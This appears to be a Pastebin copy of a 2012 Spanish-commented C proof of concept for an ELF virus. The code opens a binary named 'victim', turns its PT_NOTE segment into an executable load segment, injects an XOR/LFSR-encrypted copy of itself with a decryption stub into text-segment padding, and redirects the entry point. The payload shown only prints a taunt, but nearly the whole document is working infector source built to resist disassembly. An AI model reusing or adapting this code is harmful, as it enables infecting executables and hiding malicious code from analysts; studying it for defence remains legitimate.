document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. /*
  2.  *    Prueba de concepto: cifrado del código con XOR y LFSR.
  3.  *    Copyright (C) 2012  Gonzalo J. Carracedo
  4.  *
  5.  *    This program is free software: you can redistribute it and/or modify
  6.  *    it under the terms of the GNU General Public License as published by
  7.  *    the Free Software Foundation, either version 3 of the License, or
  8.  *    (at your option) any later version.
  9.  *
  10.  *    This program is distributed in the hope that it will be useful,
  11.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  12.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  13.  *    GNU General Public License for more details.
  14.  *
  15.  *    You should have received a copy of the GNU General Public License
  16.  *    along with this program.  If not, see <http://www.gnu.org/licenses/>
  17.  */
  18.  
  19. #include <sys/syscall.h>
  20. #include <sys/types.h>
  21. #include <elf.h>
  22. #include <stdint.h>
  23. #include <stdlib.h>
  24.  
  25. /* Los includes pueden llegar a ser muy molestos. */
  26. #define O_RDWR                02
  27.  
  28. # define SEEK_SET             0       /* Seek from beginning of file.  */
  29. # define SEEK_CUR             1       /* Seek from current position.  */
  30. # define SEEK_END             2       /* Seek from end of file.  */
  31.  
  32.  
  33. /* He utilizado el mismo marcador en ambos, la cadena "KPAX". KPAX es una
  34.    cadena más o menos segura y es realmente complicada encontrarla por ca-
  35.    sualidad en un binario (se puede hacer la prueba con un simple grep KPAX
  36.    en todos los ficheros de /bin, /usr/bin, y /usr/lib, no hay una sola
  37.    coincidencia).
  38.    
  39.    Para separar la rutina de desencriptado en el relleno del segmento de
  40.    texto del resto del código, he utilizado el marcador GURB, que también
  41.    es complicado de encontrar en cualquier binario.  */
  42.    
  43. #define BOTTOM_MARKER_LOW  0x504b
  44. #define BOTTOM_MARKER_HIGH 0x5841
  45. #define TOP_MARKER_LOW     BOTTOM_MARKER_LOW
  46. #define TOP_MARKER_HIGH    BOTTOM_MARKER_HIGH
  47. #define MIDDLE_MARKER_LOW  0x5547
  48. #define MIDDLE_MARKER_HIGH 0x4252
  49. #define MIDDLE_MARKER      0x42525547
  50. #define BOTTOM_MARKER      0x5841504b
  51. #define TOP_MARKER         BOTTOM_MARKER
  52. #define NOT_INFECTED_MAGIC 0xaaaaaaaa
  53.  
  54. #define RETADDR_OFFSET     1
  55. #define CRYPTO_ADDR_OFFSET 7
  56. #define CRYPTO_SEED_OFFSET 12
  57. #define PAYLOAD_EP_OFFSET  36
  58.  
  59. /* Pequeño hack del preprocesador de C para convertir palabras a cadenas */
  60. /* Cuando hagamos algo como STRINGIFY(palabra), el preprocesador nos lo
  61.    sustituirá por la cadena "palabra" */
  62.    
  63. #define _STRINGIFY(x) #x
  64. #define STRINGIFY(x) _STRINGIFY (x)
  65.  
  66. /* El flag "x" le indica a GCC que la sección debe ser código ejecutable y
  67.    el flag "a" le obliga a que la sección se cargue en memoria */
  68.    
  69. asm (".section .code_bottom, \\"xa\\"");
  70. asm (".long " STRINGIFY (BOTTOM_MARKER));
  71. asm ("crypto_entry:");
  72. asm ("  push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la dirección de retorno */
  73. asm ("  pusha");
  74. asm ("  push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la dirección virtual a descifrar */
  75. asm ("  push $" STRINGIFY (NOT_INFECTED_MAGIC)); /* Push de la semilla */
  76. asm ("  call insitu_decrypt");
  77. asm ("  add $4, %esp");
  78. asm ("  pop %eax");
  79. asm ("  addl $" STRINGIFY (PAYLOAD_EP_OFFSET) ", %eax");
  80. asm ("  call *%eax");
  81. asm ("  popa");
  82. asm ("  ret");
  83. asm ("decrypted_entry:");
  84. asm ("  jmp payload"); /* Este es el punto de entrada del código desencriptado */
  85.  
  86. inline char lfsr (int *) __attribute__ ((section (".code_bottom")));
  87. inline void insitu_decrypt (int, uint32_t) __attribute__ ((section (".code_bottom")));
  88.  
  89. inline char
  90. lfsr (int *reg)
  91. {
  92.   unsigned int tmp;
  93.   char result;
  94.  
  95.   /* I\'m taking these taps:
  96.      3 29 */
  97.   tmp = *reg;
  98.   tmp >>= 1;
  99.   tmp |= (!!(*reg & (1 << 2)) ^ !!(*reg & (1 << 28)) ^ 1) << 31;
  100.  
  101.   return (*reg = tmp) >> 8;
  102. }
  103.  
  104. inline void
  105. insitu_decrypt (int seed, uint32_t addr_start)
  106. {
  107.   uint32_t addr_end;
  108.  
  109.   addr_end = addr_start | 0xfff; /* supondremos que el código cabe en una página */
  110.   char *ptr = NULL;
  111.  
  112.   for (; addr_start <= addr_end; addr_start++)
  113.     ptr[addr_start] ^= lfsr (&seed);
  114. }
  115.  
  116. asm (".section .text");
  117. asm (".long " STRINGIFY (MIDDLE_MARKER));
  118. asm (".section .code_top, \\"xa\\"");
  119. asm (".long " STRINGIFY (TOP_MARKER));
  120.  
  121.  
  122. /* Vamos a necesitar, por lo menos, todas estas syscalls:
  123.    write, read, open, close y lseek  */
  124. int
  125. write (int fd, const void *buf, int size)
  126. {
  127.   int ret;
  128.  
  129.   asm volatile ("xchg %%ebx, %%esi\\n"
  130.                  "int $0x80\\n"
  131.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  132.                  "a" (__NR_write), "S" (fd), "c" (buf), "d" (size));
  133.    
  134.   return ret;
  135. }
  136.  
  137. static inline int
  138. read (int fd, void *buf, int size)
  139. {
  140.   int ret;
  141.  
  142.   asm volatile ("xchg %%ebx, %%esi\\n"
  143.                  "int $0x80\\n"
  144.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  145.                  "a" (__NR_read), "S" (fd), "c" (buf), "d" (size)  :
  146.                  "memory"); /* read modifica la memoria */
  147.    
  148.   return ret;
  149. }
  150.  
  151.  
  152. static inline unsigned int
  153. times (void)
  154. {
  155.   int ret;
  156.  
  157.   asm volatile ("push %%ebx\\n"
  158.                  "xor %%ebx, %%ebx\\n"
  159.                  "int $0x80\\n"
  160.                  "pop %%ebx" : "=a" (ret) :
  161.                  "a" (__NR_times) );
  162.    
  163.   return ret;
  164. }
  165.  
  166. static inline int
  167. lseek (int fd, int offset, int whence)
  168. {
  169.   int ret;
  170.  
  171.   asm volatile ("xchg %%ebx, %%esi\\n"
  172.                  "int $0x80\\n"
  173.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  174.                  "a" (__NR_lseek), "S" (fd), "c" (offset), "d" (whence));
  175.    
  176.   return ret;
  177. }
  178.  
  179. static int
  180. open (const char *path, int mode)
  181. {
  182.   int ret;
  183.  
  184.   asm volatile ("xchg %%ebx, %%esi\\n"
  185.                  "int $0x80\\n"
  186.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  187.                  "a" (__NR_open), "S" (path), "c" (mode));
  188.    
  189.   return ret;
  190. }
  191.  
  192. static int
  193. close (int fd)
  194. {
  195.   int ret;
  196.  
  197.   asm volatile ("xchg %%ebx, %%esi\\n"
  198.                  "int $0x80\\n"
  199.                  "xchg %%ebx, %%esi\\n" : "=a" (ret) :
  200.                  "a" (__NR_close), "S" (fd));
  201.    
  202.   return ret;
  203. }
  204.  
  205. /* long2hex: convierte un número en hexadecimal, no tiene más cosa. Será
  206.    muy útil para depurar. */
  207. void
  208. long2hex (unsigned int number, char *buf)
  209. {
  210.   int i;
  211.   char hexa[] = "0123456789abcdef";
  212.  
  213.   buf[8] = 0;
  214.  
  215.   for (i = 0; i < 8; i++)
  216.   {
  217.     buf[7 - i] = hexa[number & 0xf];
  218.     number >>= 4;
  219.   }
  220. }
  221.  
  222. /* Esto lo utilizaré para buscar los marcadores del código. Saco la dirección
  223.    del %eip mediante un call (ya que no podemos calcular las direcciones de
  224.    nuestras funciones sin acceder a la GOT) y a partir de ahí doy saltos
  225.    hacia arriba o hacia abajo hasta encontrarlos */
  226.    
  227. void
  228. get_code_limits (uint32_t *bottom, uint32_t *middle, uint32_t *top)
  229. {
  230.   int i;
  231.   uint32_t this_addr;
  232.  
  233.   /* Voy a hacer un call cortito, sólo para que meta en la pila la dirección
  234.      de código en la que me hallo. El popl %0 saca la dirección de retorno
  235.      que metí con call y ¡zasca! tengo el %eip en this_addr. Gracias,
  236.      inline assembly de GCC */
  237.      
  238.   /* call 1f quiere decir "call 1 forward", es decir, saltar hacia la etiqueta
  239.      que llamé 1 y que está hacia adelante. Esto de utilizar números para
  240.      etiquetas se suele hacer mucho cuando la etiqueta hace referencia
  241.      a un cacho de código que no está especialmente diferenciado del resto. */
  242.      
  243.   asm volatile ("call 1f\\n"
  244.                  "1:\\n"
  245.                  "popl %0\\n" : "=g" (this_addr));
  246.                  
  247.  
  248.   /* Alineamos a 4 bytes. Esto lo hacemos poniendo los dos
  249.      últimos bits a cero. */
  250.      
  251.   this_addr &= ~3; /* this_addr = this_addr & ~3 equivale a
  252.                       this_addr = this_addr & 0xfffffffc que es un and
  253.                       en binario con todo 1 menos los dos últimos bits,
  254.                       esto fuerza a que el número esté alineado a 4. */
  255.  
  256.  
  257.   /* Búsqueda del marcador inferior. Como hemos forzado al enlazador a que
  258.      nos alinee los marcadores a 4 bytes, podemos alinear también nuestra
  259.      dirección de inicio y saltar de 4 en 4 para encontrarlo antes.
  260.      
  261.      El marcador está hacia "atrás", o sea que recorreremos la memoria
  262.      restando. */
  263.      
  264.   for (i = this_addr; ; i -= 4)
  265.   {
  266.     if (*(uint16_t *) i == BOTTOM_MARKER_LOW) /* Primero la parte alta */
  267.       if (*(uint16_t *) (i + 2) == BOTTOM_MARKER_HIGH) /* Y luego la baja */
  268.       {
  269.         *bottom = i;
  270.         break;
  271.       }
  272.   }
  273.  
  274.   /* Búsqueda del marcador superior, ahora tenemos que dar saltos en
  275.      nuestra memoria hacia adelante, sumando. */
  276.   for (i = this_addr; ; i += 4)
  277.   {
  278.     if (*(uint16_t *) i == TOP_MARKER_LOW)
  279.       if (*(uint16_t *) (i + 2) == TOP_MARKER_HIGH)
  280.       {
  281.         *top = i + 4; /* Le sumo cuatro porque el marcador superior (que mide
  282.                          4 bytes) también pertenece al código. */
  283.         break;
  284.       }
  285.   }
  286.  
  287.   /* Y búsqueda por último del marcador medio. */
  288.   for (i = this_addr; ; i -= 4)
  289.   {
  290.     if (*(uint16_t *) i == MIDDLE_MARKER_LOW) /* Primero la parte alta */
  291.       if (*(uint16_t *) (i + 2) == MIDDLE_MARKER_HIGH) /* Y luego la baja */
  292.       {
  293.         *middle = i;
  294.         break;
  295.       }
  296.   }
  297.  
  298. }
  299.  
  300. /* open_elf: intenta abrir un fichero ELF, comprobando que es un ELF
  301.    infectable */
  302. int
  303. open_elf (const char *path, Elf32_Ehdr *Ehdr)
  304. {
  305.   int fd;
  306.  
  307.   if ((fd = open (path, O_RDWR)) < 0)
  308.     return -1; /* Error al abrir */
  309.    
  310.   if (read (fd, Ehdr, sizeof (Elf32_Ehdr)) < sizeof (Elf32_Ehdr))
  311.   {
  312.     close (fd);
  313.     return -1; /* Error al leer la cabecera */
  314.   }
  315.  
  316.   if (Ehdr->e_ident[EI_MAG0] != ELFMAG0 ||
  317.       Ehdr->e_ident[EI_MAG1] != ELFMAG1 ||
  318.       Ehdr->e_ident[EI_MAG2] != ELFMAG2 ||
  319.       Ehdr->e_ident[EI_MAG3] != ELFMAG3)
  320.   {
  321.     close (fd);
  322.     return -1; /* Números mágicos incorrectos */
  323.   }
  324.  
  325.   if (Ehdr->e_ident[EI_CLASS] != ELFCLASS32)
  326.   {
  327.     close (fd);
  328.     return -1; /* El ELF no es de 32 bits */
  329.   }
  330.  
  331.   if (Ehdr->e_ident[EI_DATA] != ELFDATA2LSB)
  332.   {
  333.     close (fd);
  334.     return -1; /* El ELF no es little endian */
  335.   }
  336.  
  337.   if (Ehdr->e_type != ET_EXEC && Ehdr->e_type != ET_DYN)
  338.   {
  339.     close (fd);
  340.     return -1; /* El ELF no es ni un ejecutable ni una biblioteca */
  341.   }
  342.  
  343.   return fd;
  344. }
  345.  
  346. /* Macro para alinear a tamaños */
  347. #define ALIGN(x, size) (((x) / size + !!((x) % size)) * size)
  348.  
  349. int
  350. get_gap_info (int fd, Elf32_Ehdr *Ehdr, int *idx, off_t *offset, uint32_t *vaddr, size_t *size)
  351. {
  352.   int i;
  353.   int code_idx;
  354.   Elf32_Phdr phdr;
  355.  
  356.   *idx = -1;
  357.  
  358.   for (i = 0; i < Ehdr->e_phnum; i++)
  359.   {
  360.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  361.       return -1;
  362.      
  363.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  364.       return -1;
  365.      
  366.     if (phdr.p_type == PT_LOAD)
  367.       if (phdr.p_flags & PF_X)
  368.       {
  369.         *idx = i;
  370.         break;
  371.       }
  372.   }
  373.  
  374.   if (*idx == -1)
  375.     return -1;
  376.  
  377.   *offset = phdr.p_offset + phdr.p_filesz;
  378.   *vaddr  = phdr.p_vaddr  + phdr.p_filesz;
  379.   *size   = 4096 - (*vaddr & 0xfff);
  380.      
  381.   for (i = 0; i < Ehdr->e_phnum; i++)
  382.   {
  383.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  384.       return -1;
  385.      
  386.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  387.       return -1;
  388.        
  389.     /* ¿Está a caballo entre dos segmentos? */
  390.     if (phdr.p_type == PT_LOAD)
  391.       if (*offset <= phdr.p_offset && phdr.p_offset < *offset + *size)
  392.         *size = phdr.p_offset - *offset; /* Corregimos, no queremos chafar lo otro */
  393.   }
  394.  
  395.   return 0;
  396. }
  397.  
  398. /* Esta función reemplaza el primer segmento PT_NOTE que encuentra */
  399. /* TODO: hacerlo con mmaps, más rápido. */
  400.    
  401. int
  402. replace_note (int fd, Elf32_Ehdr *Ehdr, off_t offset, size_t size, uint32_t *note_vaddr)
  403. {
  404.   int i;
  405.   int note_idx;
  406.   Elf32_Phdr phdr;
  407.   uint32_t lowest_va;
  408.      
  409.   lowest_va = 0xffffffff;
  410.  
  411.   /* Este bucle me calcula la dirección más alta del programa, además de que
  412.      me busca el PT_NOTE. */
  413.  
  414.   note_idx = -1;
  415.  
  416.   for (i = 0; i < Ehdr->e_phnum; i++)
  417.   {
  418.     if (lseek (fd, Ehdr->e_phoff + i * sizeof (Elf32_Phdr), SEEK_SET) < 0)
  419.       return -1;
  420.      
  421.     if (read (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  422.       return -1;
  423.      
  424.     if (phdr.p_type == PT_LOAD)
  425.     {
  426.       if (phdr.p_vaddr < lowest_va)
  427.         lowest_va = phdr.p_vaddr;
  428.     }
  429.     else if (phdr.p_type == PT_NOTE)
  430.       note_idx = i;
  431.   }
  432.  
  433.   if (note_idx == -1)
  434.     return -1;
  435.    
  436.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  437.   read (fd, &phdr, sizeof (Elf32_Phdr));
  438.      
  439.    
  440.   phdr.p_type = PT_LOAD;
  441.      
  442.   /* Alineamos al tamaño de página, esto es una restricción necesaria, ya
  443.      que el kernel sólo puede definir nuevos segmentos a partir de nuevas
  444.      páginas */
  445.   phdr.p_vaddr = phdr.p_paddr = ALIGN (lowest_va, 4096) - ALIGN (size, 4096);
  446.   phdr.p_filesz = size;
  447.   phdr.p_memsz  = ALIGN (size, 4096);
  448.   phdr.p_flags = PF_X | PF_W | PF_R;
  449.   phdr.p_offset = offset;
  450.   phdr.p_align = 4096;
  451.  
  452.   lseek (fd, Ehdr->e_phoff + note_idx * sizeof (Elf32_Phdr), SEEK_SET);
  453.  
  454.   if (write (fd, &phdr, sizeof (Elf32_Phdr)) < sizeof (Elf32_Phdr))
  455.     return -1;
  456.    
  457.   *note_vaddr = phdr.p_vaddr;
  458.  
  459.   return 0;
  460. }
  461.  
  462. int
  463. inject (int fd, void *base, off_t offset, size_t size, int encrypt)
  464. {
  465.   int i;
  466.   char *bytes;
  467.   char byte;
  468.  
  469.   if (lseek (fd, offset, SEEK_SET) < 0)
  470.     return -1;
  471.    
  472.   if (encrypt)
  473.   {
  474.     bytes = (char *) base;
  475.     for (i = 0; i < size; i++)
  476.     {
  477.       byte = bytes[i] ^ lfsr (&encrypt);
  478.       if (write (fd, &byte, 1) < 1)
  479.         return -1;
  480.     }
  481.   }
  482.   else
  483.     if (write (fd, base, size) < size)
  484.       return -1;
  485.    
  486.   return 0;
  487. }
  488.  
  489. #define DEBUG(x) write (1, x, sizeof (x) - 1)
  490.  
  491. void
  492. write_zeroes (int fd, int bytes)
  493. {
  494.   int i;
  495.   int null = 0;
  496.  
  497.   for (i = 0; i < bytes; i++)
  498.     write (fd, &null, 1);
  499. }
  500.  
  501. void
  502. payload (void)
  503. {
  504.   char msg[] = "DISASSEMBLE ME, I DARE YOU MOTHERFUCKER\\n";
  505.   write (1, msg, sizeof (msg) - 1);
  506. }
  507.  
  508.  
  509. /* Punto de entrada, como el main () pero en cutre y sin ayudas de ningún tipo */
  510. void
  511. _start (void)
  512. {
  513.   char buffer[9];
  514.   Elf32_Ehdr Ehdr;
  515.   size_t binsize;
  516.   size_t binsize_aligned;
  517.   size_t code_size;
  518.   int fd;
  519.   int key;
  520.  
  521.   off_t gap_off;
  522.   uint32_t gap_vaddr;
  523.   size_t gap_size;
  524.   int text_idx;
  525.    
  526.   uint32_t limit_bottom;
  527.   uint32_t limit_top;
  528.   uint32_t limit_middle;
  529.   uint32_t note_vaddr;
  530.  
  531.   get_code_limits (&limit_bottom, &limit_middle, &limit_top);
  532.   code_size = limit_top - limit_bottom;
  533.  
  534.   if ((fd = open_elf ("victim", &Ehdr)) == -1)
  535.   {
  536.     DEBUG ("No se pudo abrir el ejecutable victim.\\n");
  537.     for (;;);
  538.   }
  539.  
  540.   if (get_gap_info (fd, &Ehdr, &text_idx, &gap_off, &gap_vaddr, &gap_size) == -1)
  541.   {
  542.     DEBUG ("No se puede encontrar el segmento de texto\\n");
  543.     for (;;);
  544.   }
  545.  
  546.   if (gap_size < limit_middle - limit_bottom)
  547.   {
  548.     DEBUG ("La rutina de desencriptado no cabe en el segmento de texto\\n");
  549.     long2hex (limit_bottom, buffer);
  550.    
  551.     for (;;);
  552.   }
  553.    
  554.   binsize = lseek (fd, 0, SEEK_END);
  555.   binsize_aligned = ALIGN (binsize, 4096);
  556.  
  557.   /* Rellenamos con cero hasta llegar a un desplazamiento alineado al tamaño
  558.      de página de x86 */
  559.      
  560.   write_zeroes (fd, binsize_aligned - binsize - 4);
  561.  
  562.   if (replace_note (fd, &Ehdr, binsize_aligned, code_size, &note_vaddr) == -1)
  563.   {
  564.     DEBUG ("No se pudo reemplazar PT_NOTE.\\n");
  565.     for (;;);
  566.   }
  567.  
  568.   if (inject (fd, (void *) limit_bottom + 4, gap_off, limit_middle - limit_bottom - 4, 0) == -1)
  569.   {
  570.     DEBUG ("No se pudo inyectar la rutina de desencriptado.\\n");
  571.     for (;;);
  572.   }
  573.  
  574.   while (!(key = times ()));
  575.  
  576.   if (inject (fd, (void *) limit_bottom, binsize_aligned, code_size, key) == -1)
  577.   {
  578.     DEBUG ("No se pudo inyectar el cuerpo encriptado.\\n");
  579.     for (;;);
  580.   }
  581.  
  582.   /* Ahora toca configurar la dirección de retorno, la dirección virtual del
  583.      código encriptado y la semilla. */
  584.  
  585.   inject (fd, &Ehdr.e_entry, gap_off + RETADDR_OFFSET, sizeof (uint32_t), 0);
  586.   inject (fd, &note_vaddr, gap_off + CRYPTO_ADDR_OFFSET, sizeof (uint32_t), 0);
  587.   inject (fd, &key, gap_off + CRYPTO_SEED_OFFSET, sizeof (uint32_t), 0);
  588.  
  589.   /* El punto de entrada está siempre en el offset 24 */
  590.   inject (fd, &gap_vaddr, 24, sizeof (uint32_t), 0);
  591.    
  592.   DEBUG ("Binario victim infectado.\\n");
  593.   for (;;);
  594. }
');